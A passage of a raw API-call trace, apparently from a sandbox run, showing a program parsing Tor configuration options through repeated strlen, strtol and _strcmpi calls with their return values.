(_Str="ExtendAllowPrivateAddresses") returned 0x1b [0115.233] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.233] _errno () returned 0x9f07d8 [0115.233] strlen (_Str="ExitRelay") returned 0x9 [0115.233] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.233] strlen (_Str="ExtORPortCookieAuthFileGroupReadable") returned 0x24 [0115.233] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.233] _errno () returned 0x9f07d8 [0115.234] strlen (_Str="ExtraInfoStatistics") returned 0x13 [0115.234] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.234] _errno () returned 0x9f07d8 [0115.234] strlen (_Str="UseDefaultFallbackDirs") returned 0x16 [0115.234] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.234] _errno () returned 0x9f07d8 [0115.234] strlen (_Str="FascistFirewall") returned 0xf [0115.234] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.234] _errno () returned 0x9f07d8 [0115.234] strlen (_Str="FirewallPorts") returned 0xd [0115.234] strlen (_Str="FastFirstHopPK") returned 0xe [0115.234] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.234] strlen (_Str="FetchDirInfoEarly") returned 0x11 [0115.234] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.234] _errno () returned 0x9f07d8 [0115.234] strlen (_Str="FetchDirInfoExtraEarly") returned 0x16 [0115.234] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.234] _errno () returned 0x9f07d8 [0115.235] strlen (_Str="FetchServerDescriptors") returned 0x16 [0115.235] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.235] _errno () returned 0x9f07d8 [0115.235] strlen (_Str="FetchHidServDescriptors") returned 0x17 [0115.235] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.235] _errno () returned 0x9f07d8 [0115.235] strlen (_Str="FetchUselessDescriptors") returned 0x17 [0115.235] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.235] _errno () returned 0x9f07d8 [0115.235] strlen (_Str="GeoIPExcludeUnknown") returned 0x13 [0115.235] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.235] strlen (_Str="GeoIPFile") returned 0x9 [0115.235] strlen (_Str="GeoIPv6File") returned 0xb [0115.235] strlen (_Str="GuardLifetime") returned 0xd [0115.235] _errno () returned 0x9f07d8 [0115.235] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.235] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.235] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.235] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.235] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.235] strlen (_Str="HardwareAccel") returned 0xd [0115.236] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.236] _errno () returned 0x9f07d8 [0115.236] strlen (_Str="HeartbeatPeriod") returned 0xf [0115.236] _errno () returned 0x9f07d8 [0115.236] _strcmpi (_Str1="", _Str2="hours") returned -1 [0115.236] _strcmpi (_Str1="second", _Str2="hours") returned 1 [0115.236] _strcmpi (_Str1="seconds", _Str2="hours") returned 1 [0115.236] _strcmpi (_Str1="minute", _Str2="hours") returned 1 [0115.236] _strcmpi (_Str1="minutes", _Str2="hours") returned 1 [0115.236] _strcmpi (_Str1="hour", _Str2="hours") returned -1 [0115.236] _strcmpi (_Str1="hours", _Str2="hours") returned 0 [0115.236] strlen (_Str="HiddenServiceStatistics") returned 0x17 [0115.236] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.236] _errno () returned 0x9f07d8 [0115.236] strlen (_Str="CloseHSClientCircuitsImmediatelyOnTimeout") returned 0x29 [0115.236] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.236] _errno () returned 0x9f07d8 [0115.236] strlen (_Str="CloseHSServiceRendCircuitsImmediatelyOnTimeout") returned 0x2e [0115.236] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.236] _errno () returned 0x9f07d8 [0115.236] strlen (_Str="IPv6Exit") returned 0x8 [0115.236] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.236] _errno () returned 0x9f07d8 [0115.236] strlen (_Str="SigningKeyLifetime") returned 0x12 [0115.236] _errno () returned 0x9f07d8 [0115.236] _strcmpi (_Str1="", _Str2="days") returned -1 [0115.236] _strcmpi (_Str1="second", _Str2="days") returned 1 [0115.236] _strcmpi (_Str1="seconds", _Str2="days") returned 1 [0115.236] _strcmpi (_Str1="minute", _Str2="days") returned 1 [0115.236] _strcmpi (_Str1="minutes", _Str2="days") returned 1 [0115.236] _strcmpi (_Str1="hour", _Str2="days") returned 1 [0115.236] _strcmpi (_Str1="hours", _Str2="days") returned 1 [0115.236] _strcmpi (_Str1="day", _Str2="days") returned -1 [0115.237] _strcmpi (_Str1="days", _Str2="days") returned 0 [0115.237] strlen (_Str="KeepalivePeriod") returned 0xf [0115.237] _errno () returned 0x9f07d8 [0115.237] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.237] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.237] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.237] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.237] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.237] strlen (_Str="KeepBindCapabilities") returned 0x14 [0115.237] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.237] strlen (_Str="LogMessageDomains") returned 0x11 [0115.237] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.237] _errno () returned 0x9f07d8 [0115.237] strlen (_Str="LogTimeGranularity") returned 0x12 [0115.237] _errno () returned 0x9f07d8 [0115.237] _strcmpi (_Str1="", _Str2="second") returned -1 [0115.237] _strcmpi (_Str1="msec", _Str2="second") returned -1 [0115.237] _strcmpi (_Str1="millisecond", _Str2="second") returned -1 [0115.237] _strcmpi (_Str1="milliseconds", _Str2="second") returned -1 [0115.237] _strcmpi (_Str1="second", _Str2="second") returned 0 [0115.237] strlen (_Str="TruncateLogFile") returned 0xf [0115.237] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.237] _errno () returned 0x9f07d8 [0115.237] strlen (_Str="LongLivedPorts") returned 0xe [0115.237] strlen (_Str=",") returned 0x1 [0115.237] strlen (_Str=",") returned 0x1 [0115.237] strlen (_Str=",") returned 0x1 [0115.237] strlen (_Str=",") returned 0x1 [0115.237] strlen (_Str=",") returned 0x1 [0115.238] strlen (_Str=",") returned 0x1 [0115.238] strlen (_Str=",") returned 0x1 [0115.238] strlen (_Str=",") returned 0x1 [0115.238] strlen (_Str=",") returned 0x1 [0115.238] strlen (_Str=",") returned 0x1 [0115.238] strlen (_Str=",") returned 0x1 [0115.238] strlen (_Str="MaxAdvertisedBandwidth") returned 0x16 [0115.238] _errno () returned 0x9f07d8 [0115.238] _strcmpi (_Str1="", _Str2="GB") returned -1 [0115.238] _strcmpi (_Str1="b", _Str2="GB") returned -1 [0115.238] _strcmpi (_Str1="byte", _Str2="GB") returned -1 [0115.238] _strcmpi (_Str1="bytes", _Str2="GB") returned -1 [0115.238] _strcmpi (_Str1="kb", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="kbyte", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="kbytes", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="kilobyte", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="kilobytes", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="kilobits", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="kilobit", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="kbits", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="kbit", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="m", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="mb", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="mbyte", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="mbytes", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="megabyte", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="megabytes", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="megabits", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="megabit", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="mbits", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="mbit", _Str2="GB") returned 1 [0115.238] _strcmpi (_Str1="gb", _Str2="GB") returned 0 [0115.238] strlen (_Str="MaxCircuitDirtiness") returned 0x13 [0115.238] _errno () returned 0x9f07d8 [0115.238] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.238] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.238] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.238] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.238] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.238] strlen (_Str="MaxClientCircuitsPending") returned 0x18 [0115.239] strtol (in: _Str="32", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 32 [0115.239] _errno () returned 0x9f07d8 [0115.239] strlen (_Str="MaxMemInQueues") returned 0xe [0115.239] _errno () returned 0x9f07d8 [0115.239] _strcmpi (_Str1="", _Str2="") returned 0 [0115.239] strlen (_Str="MaxOnionQueueDelay") returned 0x12 [0115.239] _errno () returned 0x9f07d8 [0115.239] _strcmpi (_Str1="", _Str2="msec") returned -1 [0115.239] _strcmpi (_Str1="msec", _Str2="msec") returned 0 [0115.239] strlen (_Str="MinMeasuredBWsForAuthToIgnoreAdvertised") returned 0x27 [0115.239] strtol (in: _Str="500", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 500 [0115.239] _errno () returned 0x9f07d8 [0115.239] strlen (_Str="NewCircuitPeriod") returned 0x10 [0115.239] _errno () returned 0x9f07d8 [0115.239] _strcmpi (_Str1="", _Str2="seconds") returned -1 [0115.239] _strcmpi (_Str1="second", _Str2="seconds") returned -1 [0115.239] _strcmpi (_Str1="seconds", _Str2="seconds") returned 0 [0115.239] strlen (_Str="PredictedPortsRelevanceTime") returned 0x1b [0115.239] _errno () returned 0x9f07d8 [0115.239] _strcmpi (_Str1="", _Str2="hour") returned -1 [0115.239] _strcmpi (_Str1="second", _Str2="hour") returned 1 [0115.239] _strcmpi (_Str1="seconds", _Str2="hour") returned 1 [0115.239] _strcmpi (_Str1="minute", _Str2="hour") returned 1 [0115.239] _strcmpi (_Str1="minutes", _Str2="hour") returned 1 [0115.239] _strcmpi (_Str1="hour", _Str2="hour") returned 0 [0115.239] strlen (_Str="WarnUnsafeSocks") returned 0xf [0115.239] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.239] _errno () returned 0x9f07d8 [0115.240] strlen (_Str="NumCPUs") returned 0x7 [0115.240] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.240] _errno () returned 0x9f07d8 [0115.240] strlen (_Str="NumDirectoryGuards") returned 0x12 [0115.240] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.240] _errno () returned 0x9f07d8 [0115.240] strlen (_Str="NumEntryGuards") returned 0xe [0115.240] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.240] _errno () returned 0x9f07d8 [0115.240] strlen (_Str="OfflineMasterKey") returned 0x10 [0115.240] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.240] _errno () returned 0x9f07d8 [0115.240] strlen (_Str="PathBiasCircThreshold") returned 0x15 [0115.240] strtol (in: _Str="-1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned -1 [0115.240] _errno () returned 0x9f07d8 [0115.240] strlen (_Str="PathBiasNoticeRate") returned 0x12 [0115.240] atof (_String="-1") returned 0x9f07d0 [0115.240] strlen (_Str="PathBiasWarnRate") returned 0x10 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AccountingMax") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AccountingRule") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AccountingStart") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="Address") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AllowDotExit") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AllowInvalidNodes") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AllowSingleHopCircuits") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AllowSingleHopExits") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AlternateBridgeAuthority") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AlternateDirAuthority") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AlternateHSAuthority") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AssumeReachable") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirBadDir") returned 1 [0115.240] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirBadDirCCs") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirBadExit") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirBadExitCCs") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirInvalid") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirInvalidCCs") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirFastGuarantee") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirGuardBWGuarantee") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirPinKeys") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirReject") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirRejectCCs") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirRejectUnlisted") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirListBadDirs") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirListBadExits") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirMaxServersPerAddr") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirMaxServersPerAuthAddr") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthDirHasIPv6Connectivity") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AuthoritativeDirectory") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AutomapHostsOnResolve") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AutomapHostsSuffixes") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AvoidDiskWrites") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="BandwidthBurst") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="BandwidthRate") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="BridgeAuthoritativeDir") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="Bridge") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="BridgePassword") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="BridgeRecordUsageByCountry") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="BridgeRelay") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="CellStatistics") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="LearnCircuitBuildTimeout") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="CircuitBuildTimeout") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="CircuitIdleTimeout") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="CircuitStreamTimeout") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="CircuitPriorityHalflife") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ClientDNSRejectInternalAddresses") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ClientOnly") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ClientPreferIPv6ORPort") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ClientPreferIPv6DirPort") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ClientRejectInternalAddresses") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ClientTransportPlugin") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ClientUseIPv6") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ClientUseIPv4") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ConsensusParams") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ConnLimit") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ConnDirectionStatistics") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ConstrainedSockets") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ConstrainedSockSize") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ContactInfo") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ControlListenAddress") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ControlPort") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ControlPortFileGroupReadable") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ControlPortWriteToFile") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ControlSocket") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ControlSocketsGroupWritable") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="SocksSocketsGroupWritable") returned -1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="CookieAuthentication") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="CookieAuthFileGroupReadable") returned 1 [0115.241] _strcmpi (_Str1="PathBiasWarnRate", _Str2="CookieAuthFile") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="CountPrivateBandwidth") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DataDirectory") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DataDirectoryGroupReadable") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DisableNetwork") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DirAllowPrivateAddresses") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="TestingAuthDirTimeToLearnReachability") returned -1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DirListenAddress") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DirPolicy") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DirPort") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DirPortFrontPage") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DirReqStatistics") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DirAuthority") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DirCache") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DirAuthorityFallbackRate") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DisableAllSwap") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DisableDebuggerAttachment") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DisableIOCP") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DisableV2DirectoryInfo_") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DynamicDHGroups") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DNSPort") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DNSListenAddress") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="DownloadExtraInfo") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="TestingEnableConnBwEvent") returned -1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="TestingEnableCellStatsEvent") returned -1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="TestingEnableTbEmptyEvent") returned -1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="EnforceDistinctSubnets") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="EntryNodes") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="EntryStatistics") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="TestingEstimatedDescriptorPropagationTime") returned -1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExcludeNodes") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExcludeExitNodes") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExcludeSingleHopRelays") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExitNodes") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExitPolicy") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExitPolicyRejectPrivate") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExitPortStatistics") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExtendAllowPrivateAddresses") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExitRelay") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExtORPort") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExtORPortCookieAuthFile") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExtORPortCookieAuthFileGroupReadable") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ExtraInfoStatistics") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="FallbackDir") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="UseDefaultFallbackDirs") returned -1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="FallbackNetworkstatusFile") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="FascistFirewall") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="FirewallPorts") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="FastFirstHopPK") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="FetchDirInfoEarly") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="FetchDirInfoExtraEarly") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="FetchServerDescriptors") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="FetchHidServDescriptors") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="FetchUselessDescriptors") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="FetchV2Networkstatus") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="GeoIPExcludeUnknown") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="GeoIPFile") returned 1 [0115.242] _strcmpi (_Str1="PathBiasWarnRate", _Str2="GeoIPv6File") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="Group") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="GuardLifetime") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HardwareAccel") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HeartbeatPeriod") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AccelName") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="AccelDir") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HashedControlPassword") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HidServDirectoryV2") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HiddenServiceDir") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HiddenServiceDirGroupReadable") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HiddenServiceOptions") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HiddenServicePort") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HiddenServiceVersion") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HiddenServiceAuthorizeClient") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HiddenServiceAllowUnknownPorts") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HiddenServiceMaxStreams") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HiddenServiceMaxStreamsCloseCircuit") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HiddenServiceNumIntroductionPoints") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HiddenServiceStatistics") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HidServAuth") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="CloseHSClientCircuitsImmediatelyOnTimeout") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="CloseHSServiceRendCircuitsImmediatelyOnTimeout") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HTTPProxy") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HTTPProxyAuthenticator") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HTTPSProxy") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="HTTPSProxyAuthenticator") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="IPv6Exit") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ServerTransportPlugin") returned -1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ServerTransportListenAddr") returned -1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ServerTransportOptions") returned -1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="SigningKeyLifetime") returned -1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="Socks4Proxy") returned -1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="Socks5Proxy") returned -1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="Socks5ProxyUsername") returned -1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="Socks5ProxyPassword") returned -1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="KeepalivePeriod") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="KeepBindCapabilities") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="Log") returned 1 [0115.243] 